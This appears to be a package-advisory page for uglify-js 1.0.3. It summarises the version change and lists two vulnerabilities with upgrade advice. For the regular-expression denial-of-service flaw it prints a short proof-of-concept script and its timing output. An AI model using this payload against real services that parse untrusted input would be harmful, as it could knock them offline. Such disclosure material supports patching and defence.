UglifyJS, a popular tool for minifying JavaScript code, saw a minor version update from 1.0.2 to 1.0.3. Both versions, as indicated in their package metadata, share the same core characteristics: they have no declared dependencies or development dependencies and are maintained under the same repository on GitHub by Mihai Bazon. The most notable differences lie in their release dates and potentially the bug fixes or minor enhancements included in the newer version.
Version 1.0.3 was released on June 27, 2011, approximately a month after version 1.0.2, which was released on May 19, 2011. While the metadata doesn't explicitly detail the changes, developers considering using UglifyJS should favor the newer 1.0.3 version. The update suggests an effort to improve the existing codebase, potentially addressing identified issues and introducing minor tweaks to enhance the minification process. Due to the lack of specific change logs in this data, developers are encouraged to explore the UglifyJS repository on GitHub to understand precisely what modifications occurred between these releases. The core functionality of minifying JavaScript to reduce file size and improve website loading times remains consistent across these versions, serving the critical need for optimized front-end performance. This makes UglifyJS a valuable asset in any modern web development workflow.
All the vulnerabilities related to the version 1.0.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.